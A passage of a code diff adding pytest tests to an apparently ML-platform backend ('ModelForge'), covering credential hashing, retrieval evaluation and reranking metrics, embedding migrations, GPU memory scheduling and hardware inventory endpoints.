+        service(session).authenticate(f"Bearer {secret}", "rag.embedding@1")
+    assert error.value.status_code == 403
+
+
+# --------------------------------------------------------------------- storage boundary
+
+
+def test_only_a_hash_of_a_credential_is_ever_stored(session: Session) -> None:
+    make_contract(session, "rag.embedding")
+    client, secret = make_client(session, name="hashed", capabilities=["rag.embedding@1"])
+    credential = session.scalar(
+        select(ServiceCredential).where(ServiceCredential.service_client_id == client.id)
+    )
+    assert credential is not None
+    assert credential.secret_hash == hashlib.sha256(secret.encode()).hexdigest()
+    assert secret not in credential.secret_hash
+    assert len(credential.secret_prefix) <= 16
+    assert secret[16:] not in credential.secret_prefix
+
+    columns = {column.name for column in ServiceCredential.__table__.columns}
+    assert "secret" not in columns
+    assert "plaintext" not in columns
+    assert "password" not in columns

backend/tests/test_evaluation.py

@@ -0,0 +1,662 @@
+from __future__ import annotations
+
+import hashlib
+from uuid import UUID, uuid4
+
+import pytest
+from sqlalchemy import create_engine
+from sqlalchemy.orm import Session
+
+from modelforge_api.domain.evaluation import (
+    AdvisorRecommendationCreate,
+    CandidatePoolEntry,
+    EmbeddingMigrationCreate,
+    EvaluationCaseCreate,
+    EvaluationCaseResultCreate,
+    EvaluationComparisonCreate,
+    EvaluationRevisionCreate,
+    EvaluationRunComplete,
+    EvaluationRunCreate,
+    EvaluationSuiteCreate,
+    MigrationUpdate,
+    ModelComparisonCandidateCreate,
+    ModelComparisonCreate,
+    RankedResult,
+    RerankingCaseResultCreate,
+    RerankingRunComplete,
+    RerankingRunCreate,
+    RetrievalCandidatePoolCreate,
+    RetrievalPipelineIdentityCreate,
+)
+from modelforge_api.persistence.models import (
+    Base,
+    Capability,
+    CapabilityContract,
+    CapabilityDeployment,
+    EmbeddingMigration,
+    EmbeddingSpace,
+    EvaluationCase,
+    Project,
+    RetrievalCandidatePool,
+)
+from modelforge_api.services.evaluation import EvaluationError, EvaluationService
+
+
+def _session() -> Session:
+    engine = create_engine("sqlite+pysqlite:///:memory:")
+    Base.metadata.create_all(engine)
+    return Session(engine)
+
+
+def _suite(service: EvaluationService, project_id: UUID, relevant: UUID):
+    return service.create_suite(
+        EvaluationSuiteCreate(
+            project_id=project_id,
+            key="examplerag-retrieval",
+            name="ExampleRAG retrieval",
+            description="Reviewed local retrieval cases.",
+            revision=EvaluationRevisionCreate(
+                revision="v1",
+                dataset_revision="corpus-v1",
+                retrieval_settings={"hybrid": True},
+                cases=[
+                    EvaluationCaseCreate(
+                        case_key="known-answer",
+                        query="Where is the answer?",
+                        relevant_chunk_ids=[relevant],
+                        label_provenance={"source": "manual-review"},
+                        critical=True,
+                        review_status="approved",
+                    )
+                ],
+            ),
+        )
+    )
+
+
+def _run(
+    service: EvaluationService,
+    project_id: UUID,
+    revision_id: UUID,
+    case_id: UUID,
+    relevant: UUID,
+    *,
+    target: str,
+    rank: int,
+):
+    run = service.create_run(
+        EvaluationRunCreate(
+            project_id=project_id,
+            suite_revision_id=revision_id,
+            target_kind=target,
+            target_index_ref=f"index-{target}",
+            embedding_space_ref=f"space-{target}",
+            corpus_revision="corpus-v1",
+            retrieval_config_digest="a" * 64,
+            environment_fingerprint={"engine": "test-v1"},
+        )
+    )
+    ranked = [RankedResult(chunk_id=uuid4(), score=1.0 - index / 100) for index in range(rank - 1)]
+    ranked.append(RankedResult(chunk_id=relevant, score=0.5))
+    return service.complete_run(
+        run.id,
+        EvaluationRunComplete(
+            results=[
+                EvaluationCaseResultCreate(case_id=case_id, ranked_results=ranked, latency_ms=10.0)
+            ]
+        ),
+    )
+
+
+def test_metrics_have_hand_calculable_values_and_per_case_evidence() -> None:
+    with _session() as session:
+        project = Project(key="examplerag", name="ExampleRAG", description="test")
+        session.add(project)
+        session.commit()
+        relevant = uuid4()
+        service = EvaluationService(session)
+        suite = _suite(service, project.id, relevant)
+        case_id = session.query(EvaluationCase.id).scalar()
+        assert case_id is not None
+        run = _run(
+            service,
+            project.id,
+            suite.latest_revision_id,
+            case_id,
+            relevant,
+            target="current",
+            rank=2,
+        )
+        assert run.aggregate_metrics == pytest.approx(
+            {
+                "recall_at_5": 1.0,
+                "recall_at_10": 1.0,
+                "mrr": 0.5,
+                "ndcg_at_10": 1 / 1.584962500721156,
+            }
+        )
+        evidence = service.case_results(run.id)[0]
+        assert evidence.first_relevant_rank == 2
+        assert evidence.critical is True
+        assert len(evidence.ranked_results) == 2
+
+
+def test_comparison_blocks_critical_regression() -> None:
+    with _session() as session:
+        project = Project(key="examplerag", name="ExampleRAG", description="test")
+        session.add(project)
+        session.commit()
+        relevant = uuid4()
+        service = EvaluationService(session)
+        suite = _suite(service, project.id, relevant)
+        case_id = session.query(EvaluationCase.id).scalar()
+        assert case_id is not None
+        baseline = _run(
+            service,
+            project.id,
+            suite.latest_revision_id,
+            case_id,
+            relevant,
+            target="current",
+            rank=1,
+        )
+        candidate = _run(
+            service,
+            project.id,
+            suite.latest_revision_id,
+            case_id,
+            relevant,
+            target="shadow",
+            rank=5,
+        )
+        comparison = service.compare(
+            EvaluationComparisonCreate(
+                baseline_run_id=baseline.id,
+                candidate_run_id=candidate.id,
+            )
+        )
+        assert comparison.comparability == "comparable"
+        assert comparison.regressed_cases == 1
+        assert comparison.critical_regressions == 1
+        assert comparison.promotion_eligibility == "not_eligible"
+        assert comparison.eligibility_evidence["promotion_performed"] is False
+
+
+def test_suite_revision_and_cases_are_immutable() -> None:
+    with _session() as session:
+        project = Project(key="examplerag", name="ExampleRAG", description="test")
+        session.add(project)
+        session.commit()
+        service = EvaluationService(session)
+        suite = _suite(service, project.id, uuid4())
+        from modelforge_api.persistence.models import EvaluationSuiteRevision
+
+        revision = session.get(EvaluationSuiteRevision, suite.latest_revision_id)
+        assert revision is not None
+        revision.top_k = 20
+        with pytest.raises(ValueError, match="immutable approved fields"):
+            session.commit()
+
+
+def _pool_entries(
+    relevant: UUID, relevant_rank: int = 5, count: int = 40
+) -> list[CandidatePoolEntry]:
+    identifiers = [uuid4() for _ in range(count)]
+    identifiers[relevant_rank - 1] = relevant
+    return [
+        CandidatePoolEntry(
+            id=str(identifier),
+            document_id=str(uuid4()),
+            score=1.0 - index / 100,
+            content_sha256=hashlib.sha256(f"chunk-{identifier}".encode()).hexdigest(),
+        )
+        for index, identifier in enumerate(identifiers)
+    ]
+
+
+def test_frozen_candidate_pool_is_fingerprinted_content_free_and_immutable() -> None:
+    with _session() as session:
+        project = Project(key="examplerag", name="ExampleRAG", description="test")
+        session.add(project)
+        session.commit()
+        relevant = uuid4()
+        service = EvaluationService(session)
+        suite = _suite(service, project.id, relevant)
+        case = session.query(EvaluationCase).one()
+        request = RetrievalCandidatePoolCreate(
+            project_id=project.id,
+            suite_revision_id=suite.latest_revision_id,
+            evaluation_case_id=case.id,
+            source_embedding_space="space-current",
+            source_index_ref="rag_dense_nomic_v1",
+            corpus_revision="corpus-v1",
+            retrieval_config_digest="a" * 64,
+            ordered_candidates=_pool_entries(relevant),
+        )
+        first = service.create_candidate_pool(request)
+        repeated = service.create_candidate_pool(request)
+        assert first.id == repeated.id
+        assert first.candidate_count == 40
+        assert all("text" not in candidate for candidate in first.ordered_candidates)
+        stored = session.get(RetrievalCandidatePool, first.id)
+        assert stored is not None
+        stored.source_index_ref = "mutated"
+        with pytest.raises(ValueError, match="immutable approved fields"):
+            session.commit()
+
+
+def test_pipeline_identity_and_reranking_run_enforce_same_frozen_pool() -> None:
+    with _session() as session:
+        project = Project(key="examplerag", name="ExampleRAG", description="test")
+        capability = Capability(key="rag.reranking", description="Reranking")
+        session.add_all([project, capability])
+        session.flush()
+        contract = CapabilityContract(
+            capability_id=capability.id,
+            version=1,
+            input_schema={},
+            output_schema={},
+            contract={},
+            upgrade_class="behavioral",
+        )
+        session.add(contract)
+        session.flush()
+        deployment = CapabilityDeployment(
+            capability_contract_id=contract.id,
+            deployment_candidate_id=uuid4(),
+            embedding_space_id=None,
+            artifact_set_id=uuid4(),
+            runtime_profile_id=uuid4(),
+            compute_node_id=uuid4(),
+            accelerator_id=uuid4(),
+            channel="experiment",
+            status="candidate",
+            production=False,
+            fallback_policy={"allowed": False},
+            config_fingerprint="b" * 64,
+            provenance={"test": True},
+            rollback_policy={},
+        )
+        session.add(deployment)
+        session.commit()
+        relevant = uuid4()
+        service = EvaluationService(session)
+        suite = _suite(service, project.id, relevant)
+        case = session.query(EvaluationCase).one()
+        pool = service.create_candidate_pool(
+            RetrievalCandidatePoolCreate(
+                project_id=project.id,
+                suite_revision_id=suite.latest_revision_id,
+                evaluation_case_id=case.id,
+                source_embedding_space="space-current",
+                source_index_ref="rag_dense_nomic_v1",
+                corpus_revision="corpus-v1",
+                retrieval_config_digest="a" * 64,
+                ordered_candidates=_pool_entries(relevant, count=39),
+            )
+        )
+        assert pool.candidate_count == 39
+        common = {
+            "project_id": project.id,
+            "embedding_space_ref": "space-current",
+            "sparse_config_digest": "c" * 64,
+            "fusion_config_digest": "d" * 64,
+            "configuration": {"rrf": "v1"},
+        }
+        control = service.create_pipeline_identity(RetrievalPipelineIdentityCreate(**common))
+        candidate = service.create_pipeline_identity(
+            RetrievalPipelineIdentityCreate(
+                **common,
+                reranker_deployment_id=deployment.id,
+                reranker_config_digest="e" * 64,
+            )
+        )
+        assert control.identity_digest != candidate.identity_digest
+        assert candidate.migration_class == "behavioral"
+        run = service.create_reranking_run(
+            RerankingRunCreate(
+                project_id=project.id,
+                suite_revision_id=suite.latest_revision_id,
+                pipeline_identity_id=candidate.id,
+                control_pipeline_identity_id=control.id,
+                candidate_pool_ids=[pool.id],
+                corpus_revision="corpus-v1",
+                environment_fingerprint={"runtime": "offline"},
+            )
+        )
+        ranked_ids = [UUID(str(item["id"])) for item in pool.ordered_candidates[:10]]
+        ranked_ids.remove(relevant)
+        ranked_ids.insert(0, relevant)
+        completed = service.complete_reranking_run(
+            run.id,
+            RerankingRunComplete(
+                results=[
+                    RerankingCaseResultCreate(
+                        case_id=case.id,
+                        candidate_pool_id=pool.id,
+                        ranked_results=[
+                            RankedResult(chunk_id=identifier, score=1.0 - rank / 100)
+                            for rank, identifier in enumerate(ranked_ids)
+                        ],
+                        retrieval_latency_ms=90,
+                        rerank_latency_ms=25,
+                        total_latency_ms=115,
+                    )
+                ]
+            ),
+        )
+        assert completed.aggregate_metrics["mrr"] == 1.0
+        assert completed.latency_metrics["rerank_p95_ms"] == 25
+        evidence = service.reranking_case_results(run.id)[0]
+        assert evidence.first_relevant_rank == 1
+        assert evidence.critical is True
+
+        control_metrics = _run(
+            service,
+            project.id,
+            suite.latest_revision_id,
+            case.id,
+            relevant,
+            target="current",
+            rank=2,
+        )
+        matrix = service.create_model_comparison(
+            ModelComparisonCreate(
+                project_id=project.id,
+                capability_contract_id=contract.id,
+                suite_revision_id=suite.latest_revision_id,
+                current_run_id=control_metrics.id,
+                title="Current retrieval plus Qwen reranker",
+                candidates=[
+                    ModelComparisonCandidateCreate(
+                        candidate_key="nomic-plus-qwen-reranker",
+                        label="nomic + Qwen3-Reranker-0.6B",
+                        status="evaluated",
+                        candidate_kind="retrieval_pipeline",
+                        pipeline_identity_id=candidate.id,
+                        latency_ms={"baseline_p95": 90.0, "p95": 115.0},
+                        resource_evidence={
+                            "runtime_compatible": True,
+                            "gpu_fit": True,
+                            "measured": True,
+                            "stale": False,
+                            "resident_vram_bytes": 2_000,
+                        },
+                        security_state={
+                            "supply_chain_status": "verified",
+                            "license_status": "approved",
+                        },
+                        provenance={"evidence_level": "A"},
+                    )
+                ],
+            )
+        )
+        candidate_evidence = matrix.candidates[0]
+        assert candidate_evidence["reranking_run_id"] == str(run.id)
+        assert candidate_evidence["metric_deltas"]["mrr"] == pytest.approx(0.8)
+        recommendation = service.recommend(
+            matrix.id,
+            AdvisorRecommendationCreate(candidate_key="nomic-plus-qwen-reranker"),
+        )
+        assert recommendation.target_kind == "retrieval_pipeline"
+        assert recommendation.current_pipeline_identity_id == control.id
+        assert recommendation.candidate_pipeline_identity_id == candidate.id
+        assert recommendation.candidate_deployment_id == deployment.id
+        assert recommendation.verdict == "KEEP_CURRENT_EMBEDDING_ADD_RERANKER_CANDIDATE"
+        assert recommendation.migration_impact == {
+            "class": "behavioral",
+            "requires_reindex": False,
+        }
+
+        with pytest.raises(EvaluationError, match="pool provenance"):
+            service.create_reranking_run(
+                RerankingRunCreate(
+                    project_id=project.id,
+                    suite_revision_id=suite.latest_revision_id,
+                    pipeline_identity_id=candidate.id,
+                    control_pipeline_identity_id=control.id,
+                    candidate_pool_ids=[pool.id],
+                    corpus_revision="different-corpus",
+                    environment_fingerprint={},
+                )
+            )
+
+
+def test_migration_requires_preflight_and_complete_validation() -> None:
+    with _session() as session:
+        project = Project(key="examplerag", name="ExampleRAG", description="test")
+        session.add(project)
+        session.flush()
+        migration = EmbeddingMigration(
+            project_id=project.id,
+            source_embedding_space="legacy-observed",
+            target_embedding_space_id=uuid4(),
+            source_index_ref="current",
+            target_index_ref="shadow",
+            corpus_revision=hashlib.sha256(b"corpus").hexdigest(),
+            total_chunks=10,
+            completed_chunks=0,
+            failed_chunks=0,
+            retried_chunks=0,
+            batch_size=2,
+            concurrency=1,
+            priority="background",
+            preflight_evidence={},
+            progress_evidence={},
+            validation_evidence={},
+            operational_metrics={},
+        )
+        session.add(migration)
+        session.commit()
+        service = EvaluationService(session)
+        # PLANNED -> PREFLIGHT is valid; BACKFILLING then requires passed evidence.
+        item = service.update_migration(
+            migration.id,
+            MigrationUpdate(
+                status="preflight", completed_chunks=0, failed_chunks=0, retried_chunks=0
+            ),
+        )
+        assert item.status == "preflight"
+        with pytest.raises(EvaluationError, match="preflight"):
+            service.update_migration(
+                migration.id,
+                MigrationUpdate(
+                    status="backfilling", completed_chunks=0, failed_chunks=0, retried_chunks=0
+                ),
+            )
+        item = service.update_migration(
+            migration.id,
+            MigrationUpdate(
+                status="backfilling",
+                completed_chunks=0,
+                failed_chunks=0,
+                retried_chunks=0,
+                preflight_evidence={"passed": True},
+            ),
+        )
+        assert item.priority == "background"
+        item = service.cancel_migration(migration.id)
+        assert item.cancel_requested is True
+
+
+def test_suite_cases_are_addressable_and_migration_start_is_explicit() -> None:
+    with _session() as session:
+        project = Project(key="examplerag", name="ExampleRAG", description="test")
+        space = EmbeddingSpace(
+            capability_contract_id=uuid4(),
+            artifact_set_id=uuid4(),
+            runtime_profile_id=uuid4(),
+            identity_digest="4" * 64,
+            dimension=1024,
+            normalized=True,
+            identity_facts={"distance_metric": "cosine"},
+        )
+        session.add_all([project, space])
+        session.commit()
+        service = EvaluationService(session)
+        suite = _suite(service, project.id, uuid4())
+        case = session.query(EvaluationCase).one()
+
+        definitions = service.suite_cases(suite.id, suite.latest_revision_id)
+        assert [item.id for item in definitions] == [case.id]
+        assert definitions[0].label_provenance == {"source": "manual-review"}
+
+        migration = service.create_migration(
+            project.id,
+            EmbeddingMigrationCreate(
+                source_embedding_space="legacy-observed",
+                target_embedding_space_id=space.id,
+                source_index_ref="current",
+                target_index_ref="shadow-explicit-start",
+                corpus_revision="corpus-v1",
+                total_chunks=1,
+            ),
+        )
+        started = service.start_migration(migration.id)
+        assert started.status == "preflight"
+        assert started.priority == "background"
+
+
+def test_model_comparison_and_advisor_hard_block_critical_regression() -> None:
+    with _session() as session:
+        project = Project(key="examplerag", name="ExampleRAG", description="test")
+        capability = Capability(key="rag.embedding", description="Dense embedding")
+        session.add_all([project, capability])
+        session.flush()
+        contract = CapabilityContract(
+            capability_id=capability.id,
+            version=1,
+            input_schema={},
+            output_schema={},
+            contract={},
+            upgrade_class="behavioral",
+        )
+        session.add(contract)
+        session.commit()
+        relevant = uuid4()
+        service = EvaluationService(session)
+        suite = _suite(service, project.id, relevant)
+        case_id = session.query(EvaluationCase.id).scalar()
+        assert case_id is not None
+        baseline = _run(
+            service,
+            project.id,
+            suite.latest_revision_id,
+            case_id,
+            relevant,
+            target="current",
+            rank=1,
+        )
+        candidate = _run(
+            service,
+            project.id,
+            suite.latest_revision_id,
+            case_id,
+            relevant,
+            target="shadow",
+            rank=2,
+        )
+
+        matrix = service.create_model_comparison(
+            ModelComparisonCreate(
+                project_id=project.id,
+                capability_contract_id=contract.id,
+                suite_revision_id=suite.latest_revision_id,
+                current_run_id=baseline.id,
+                title="ExampleRAG embedding candidates",
+                candidates=[
+                    ModelComparisonCandidateCreate(
+                        candidate_key="qwen-retrieval",
+                        label="Qwen retrieval-aware",
+                        status="evaluated",
+                        evaluation_run_id=candidate.id,
+                        embedding_space="space-qwen",
+                        latency_ms={"baseline_p95": 100.0, "p95": 150.0},
+                        resource_evidence={
+                            "runtime_compatible": True,
+                            "gpu_fit": True,
+                            "measured": True,
+                            "stale": False,
+                            "resident_vram_bytes": 1_000,
+                        },
+                        migration_impact={"class": "requires_reindex", "chunks": 597},
+                        security_state={
+                            "supply_chain_status": "verified",
+                            "license_status": "approved",
+                        },
+                        provenance={"evidence_level": "A"},
+                    )
+                ],
+            )
+        )
+        assert matrix.candidates[0]["quality_metrics"]["recall_at_10"] == 1.0
+        assert matrix.candidates[0]["critical_regressions"] == 1
+
+        recommendation = service.recommend(
+            matrix.id, AdvisorRecommendationCreate(candidate_key="qwen-retrieval")
+        )
+        assert recommendation.verdict == "KEEP_CURRENT"
+        assert recommendation.confidence == "HIGH"
+        assert recommendation.evidence_level == "A"
+        assert "critical_regression" in recommendation.blockers
+        assert recommendation.migration_impact["class"] == "requires_reindex"
+        assert recommendation.policy_snapshot["critical_regression_hard_block"] is True
+
+
+def test_advisor_requires_more_evidence_for_capacity_blocked_candidate() -> None:
+    with _session() as session:
+        project = Project(key="examplerag", name="ExampleRAG", description="test")
+        capability = Capability(key="rag.embedding", description="Dense embedding")
+        session.add_all([project, capability])
+        session.flush()
+        contract = CapabilityContract(
+            capability_id=capability.id,
+            version=1,
+            input_schema={},
+            output_schema={},
+            contract={},
+            upgrade_class="behavioral",
+        )
+        session.add(contract)
+        session.commit()
+        service = EvaluationService(session)
+        suite = _suite(service, project.id, uuid4())
+        case = session.query(EvaluationCase).one()
+        baseline = _run(
+            service,
+            project.id,
+            suite.latest_revision_id,
+            case.id,
+            UUID(case.relevant_chunk_ids[0]),
+            target="current",
+            rank=1,
+        )
+        matrix = service.create_model_comparison(
+            ModelComparisonCreate(
+                project_id=project.id,
+                capability_contract_id=contract.id,
+                suite_revision_id=suite.latest_revision_id,
+                current_run_id=baseline.id,
+                title="Blocked candidates",
+                candidates=[
+                    ModelComparisonCandidateCreate(
+                        candidate_key="qwen-4b",
+                        label="Qwen3-Embedding-4B",
+                        status="blocked",
+                        blockers=["insufficient_vram"],
+                        provenance={"evidence_level": "B"},
+                        resource_evidence={"runtime_compatible": True, "gpu_fit": False},
+                        security_state={
+                            "supply_chain_status": "planned",
+                            "license_status": "compatible",
+                        },
+                    )
+                ],
+            )
+        )
+        recommendation = service.recommend(
+            matrix.id, AdvisorRecommendationCreate(candidate_key="qwen-4b")
+        )
+        assert recommendation.verdict == "REQUIRES_MORE_EVIDENCE"
+        assert recommendation.confidence == "LOW"
+        assert "local_project_evaluation_missing" in recommendation.blockers

backend/tests/test_gpu_scheduler.py

@@ -0,0 +1,203 @@
+from __future__ import annotations
+
+from datetime import UTC, datetime, timedelta
+
+import pytest
+
+from modelforge_api.services.gpu_scheduler import (
+    AttributionConfidence,
+    LeaseAllocation,
+    PlacementInput,
+    PlacementVerdict,
+    PressureHysteresis,
+    PressureState,
+    ResidentCandidate,
+    SchedulerPolicy,
+    calculate_accounting,
+    dynamic_reserve,
+    plan_placement,
+    required_envelope,
+)
+
+GIB = 1024**3
+POLICY = SchedulerPolicy()
+
+
+def accounting(
+    observed: int | None, resident: int = 0, leases: list[LeaseAllocation] | None = None
+):
+    return calculate_accounting(
+        total_bytes=16 * GIB,
+        observed_used_bytes=observed,
+        resident_bytes=resident,
+        leases=leases or [],
+        policy=POLICY,
+    )
+
+
+@pytest.mark.parametrize(
+    ("observed", "resident", "external"),
+    [(0, 0, 0), (4 * GIB, 0, 4 * GIB), (2 * GIB, 2 * GIB, 0), (6 * GIB, 2 * GIB, 4 * GIB)],
+)
+def test_accounting_attributes_observed_usage_without_double_count(
+    observed: int, resident: int, external: int
+) -> None:
+    result = accounting(observed, resident)
+    assert result.external_bytes == external
+    assert result.schedulable_bytes == 16 * GIB - observed - result.reserve_bytes
+    assert result.invariant_delta_bytes == 0
+    assert result.attribution is AttributionConfidence.KNOWN
+
+
+def test_accounting_only_subtracts_unmaterialized_lease_bytes() -> None:
+    result = accounting(
+        5 * GIB,
+        2 * GIB,
+        [LeaseAllocation(3 * GIB, 2 * GIB), LeaseAllocation(GIB, GIB)],
+    )
+    assert result.future_lease_bytes == GIB
+    assert result.schedulable_bytes == 16 * GIB - 5 * GIB - GIB - result.reserve_bytes
+
+
+def test_unknown_or_stale_telemetry_fails_closed() -> None:
+    unknown = accounting(None)
+    stale = calculate_accounting(
+        total_bytes=16 * GIB,
+        observed_used_bytes=0,
+        resident_bytes=0,
+        leases=[],
+        policy=POLICY,
+        telemetry_fresh=False,
+    )
+    assert unknown.attribution is AttributionConfidence.UNKNOWN
+    assert unknown.schedulable_bytes == stale.schedulable_bytes == 0
+    assert unknown.pressure is stale.pressure is PressureState.CRITICAL
+
+
+def test_accounting_is_non_negative_under_noisy_attribution() -> None:
+    result = accounting(GIB, 2 * GIB)
+    assert result.external_bytes == 0
+    assert result.schedulable_bytes >= 0
+    assert result.attribution is AttributionConfidence.ESTIMATED
+
+
+def test_reserve_and_envelope_margin_are_central_and_conservative() -> None:
+    assert dynamic_reserve(16 * GIB, POLICY) >= GIB
+    assert required_envelope(GIB, POLICY) == GIB + POLICY.deployment_margin_minimum_bytes
+    assert required_envelope(10 * GIB, POLICY) == 11 * GIB
+
+
+def request(**updates: object) -> PlacementInput:
+    values: dict[str, object] = {
+        "deployment_id": "requested",
+        "capability": "speech.transcription",
+        "node_id": "gpu_node",
+        "accelerator_id": "gpu",
+        "priority": "interactive",
+        "required_bytes": 2 * GIB,
+        "cold_load_ms": 3000.0,
+        "is_resident": False,
+        "envelope_stale": False,
+        "runtime_healthy": True,
+        "node_eligible": True,
+    }
+    values.update(updates)
+    return PlacementInput(**values)  # type: ignore[arg-type]
+
+
+def candidate(**updates: object) -> ResidentCandidate:
+    values: dict[str, object] = {
+        "deployment_id": "lab",
+        "capability": "vision.embedding",
+        "resident_bytes": 2 * GIB,
+        "active_requests": 0,
+        "priority": "lab",
+        "policy": "lab_only",
+        "idle_since": datetime.now(UTC) - timedelta(minutes=5),
+        "cold_load_ms": 1000.0,
+        "last_used_at": datetime.now(UTC) - timedelta(minutes=5),
+    }
+    values.update(updates)
+    return ResidentCandidate(**values)  # type: ignore[arg-type]
+
+
+def test_planner_admits_with_measured_headroom() -> None:
+    decision = plan_placement(request(), accounting(4 * GIB), [], POLICY)
+    assert decision.verdict is PlacementVerdict.ADMIT
+    assert decision.headroom_after_bytes >= 0
+
+
+def test_planner_evicts_only_idle_lower_priority_managed_residency() -> None:
+    snapshot = accounting(13 * GIB, 2 * GIB)
+    decision = plan_placement(request(required_bytes=3 * GIB), snapshot, [candidate()], POLICY)
+    assert decision.verdict is PlacementVerdict.ADMIT_AFTER_EVICTION
+    assert decision.evictions[0].reason == "IDLE_LAB_EVICTED_FOR_PRODUCTION"
+
+
+@pytest.mark.parametrize(
+    "protected", [{"active_requests": 1}, {"pinned": True}, {"policy": "always_warm"}]
+)
+def test_planner_never_evicts_active_or_pinned_residency(protected: dict[str, object]) -> None:
+    decision = plan_placement(
+        request(required_bytes=3 * GIB),
+        accounting(13 * GIB, 2 * GIB),
+        [candidate(**protected)],
+        POLICY,
+    )
+    assert not decision.evictions
+    assert decision.verdict in {PlacementVerdict.QUEUE, PlacementVerdict.REJECT_CAPACITY}
+
+
+@pytest.mark.parametrize(
+    ("updates", "verdict", "reason"),
+    [
+        ({"runtime_healthy": False}, PlacementVerdict.REJECT_HEALTH, "RUNTIME_UNHEALTHY"),
+        ({"node_eligible": False}, PlacementVerdict.REJECT_HEALTH, "NODE_UNAVAILABLE"),
+        ({"envelope_stale": True}, PlacementVerdict.REJECT_HEALTH, "SCHEDULER_STATE_STALE"),
+        (
+            {"deadline_remaining_ms": 100.0},
+            PlacementVerdict.REJECT_POLICY,
+            "DEADLINE_CANNOT_BE_MET",
+        ),
+    ],
+)
+def test_planner_typed_rejections(
+    updates: dict[str, object], verdict: PlacementVerdict, reason: str
+) -> None:
+    decision = plan_placement(request(**updates), accounting(4 * GIB), [], POLICY)
+    assert decision.verdict is verdict
+    assert reason in decision.reason_codes
+
+
+def test_lab_pause_is_policy_block_and_fingerprint_is_deterministic() -> None:
+    policy = SchedulerPolicy(lab_paused=True)
+    first = plan_placement(request(priority="lab"), accounting(4 * GIB), [], policy)
+    second = plan_placement(request(priority="lab"), accounting(4 * GIB), [], policy)
+    assert first.verdict is PlacementVerdict.REJECT_POLICY
+    assert first.fingerprint == second.fingerprint
+
+
+def test_hysteresis_requires_sustained_candidate_and_prevents_flapping() -> None:
+    start = datetime.now(UTC)
+    hysteresis = PressureHysteresis()
+    assert hysteresis.observe(PressureState.HIGH, start, 30) is PressureState.NORMAL
+    assert (
+        hysteresis.observe(PressureState.NORMAL, start + timedelta(seconds=10), 30)
+        is PressureState.NORMAL
+    )
+    assert (
+        hysteresis.observe(PressureState.HIGH, start + timedelta(seconds=20), 30)
+        is PressureState.NORMAL
+    )
+    assert (
+        hysteresis.observe(PressureState.HIGH, start + timedelta(seconds=51), 30)
+        is PressureState.HIGH
+    )
+    assert (
+        hysteresis.observe(PressureState.NORMAL, start + timedelta(seconds=60), 30)
+        is PressureState.HIGH
+    )
+    assert (
+        hysteresis.observe(PressureState.NORMAL, start + timedelta(seconds=91), 30)
+        is PressureState.NORMAL
+    )

backend/tests/test_hardware_api.py

@@ -0,0 +1,121 @@
+from fastapi.testclient import TestClient
+from hardware_fakes import FakeAcceleratorCollector, FakeHostCollector, accelerator
+from pydantic import SecretStr
+from sqlalchemy import create_engine
+from sqlalchemy.orm import Session
+from sqlalchemy.pool import StaticPool
+
+from modelforge_api.api.routes.hardware import get_hardware_service
+from modelforge_api.main import app
+from modelforge_api.persistence.models import Base
+from modelforge_api.services.hardware_inventory import HardwareInventoryService, HardwareRefreshBusy
+from modelforge_api.settings import Settings, get_settings
+
+
+def _test_operator_credential() -> str:
+    return "hardware-test-operator"
+
+
+def _operator_headers() -> dict[str, str]:
+    return {"X-ModelForge-Admin-Token": _test_operator_credential()}
+
+
+def _configure_operator_auth() -> None:
+    settings = Settings(
+        _env_file=None,
+        operator_api_key=SecretStr(_test_operator_credential()),
+    )
+    app.dependency_overrides[get_settings] = lambda: settings
+
+
+def test_hardware_refresh_and_resource_endpoints_serialize_real_and_unknown_values() -> None:
+    engine = create_engine(
+        "sqlite+pysqlite:///:memory:",
+        connect_args={"check_same_thread": False},
+        poolclass=StaticPool,
+    )
+    Base.metadata.create_all(engine)
+    session = Session(engine)
+    service = HardwareInventoryService(
+        session, FakeHostCollector(), FakeAcceleratorCollector([accelerator()])
+    )
+    _configure_operator_auth()
+    app.dependency_overrides[get_hardware_service] = lambda: service
+    try:
+        with TestClient(app) as client:
+            refreshed = client.post("/api/v1/hardware/refresh", headers=_operator_headers())
+            assert refreshed.status_code == 200
+            payload = refreshed.json()
+            assert payload["overview"]["accelerator_count"] == 1
+            assert (
+                payload["nodes"][0]["accelerators"][0]["mig_mode_current"]["availability"]
+                == "unsupported"
+            )
+            node_id = payload["nodes"][0]["id"]
+            accelerator_id = payload["nodes"][0]["accelerators"][0]["id"]
+            assert client.get("/api/v1/hardware", headers=_operator_headers()).status_code == 200
+            assert (
+                client.get("/api/v1/hardware/nodes", headers=_operator_headers()).json()[0]["id"]
+                == node_id
+            )
+            assert (
+                client.get(
+                    f"/api/v1/hardware/nodes/{node_id}", headers=_operator_headers()
+                ).status_code
+                == 200
+            )
+            assert (
+                client.get("/api/v1/hardware/accelerators", headers=_operator_headers()).json()[0][
+                    "id"
+                ]
+                == accelerator_id
+            )
+            assert (
+                client.get(
+                    f"/api/v1/hardware/accelerators/{accelerator_id}",
+                    headers=_operator_headers(),
+                ).status_code
+                == 200
+            )
+            missing = client.get(
+                "/api/v1/hardware/nodes/00000000-0000-0000-0000-000000000000",
+                headers=_operator_headers(),
+            )
+            assert missing.status_code == 404
+            assert missing.json()["error"]["code"] == "http_404"
+    finally:
+        app.dependency_overrides.clear()
+        session.close()
+
+
+def test_concurrent_refresh_returns_normalized_conflict() -> None:
+    class BusyService:
+        def refresh(self):
+            raise HardwareRefreshBusy("hardware refresh already in progress")
+
+    _configure_operator_auth()
+    app.dependency_overrides[get_hardware_service] = lambda: BusyService()
+    try:
+        with TestClient(app) as client:
+            response = client.post("/api/v1/hardware/refresh", headers=_operator_headers())
+            assert response.status_code == 409
+            assert response.json()["error"]["code"] == "http_409"
+    finally:
+        app.dependency_overrides.clear()
+
+
+def test_refresh_failure_returns_normalized_service_unavailable() -> None:
+    class FailingService:
+        def refresh(self):
+            raise RuntimeError("probe failed")
+
+    _configure_operator_auth()
+    app.dependency_overrides[get_hardware_service] = lambda: FailingService()
+    try:
+        with TestClient(app) as client:
+            response = client.post("/api/v1/hardware/refresh", headers=_operator_headers())
+            assert response.status_code == 503
+            assert response.json()["error"]["code"] == "http_503"
+            assert response.json()["error"]["message"] == "hardware inventory failed: RuntimeError"
+    finally:
+        app.dependency_overrides.clear()

backend/tests/test_hardware_collectors.py

@@ -0,0 +1,56 @@
+from pathlib import Path
+
+from hardware_fakes import FakeNvml
+
+from modelforge_api.domain.enums import Availability
+from modelforge_api.hardware.collectors import (
+    NodeIdentityProvider,
+    NvidiaNvmlCollector,
+    SystemHostCollector,
+)
+
+
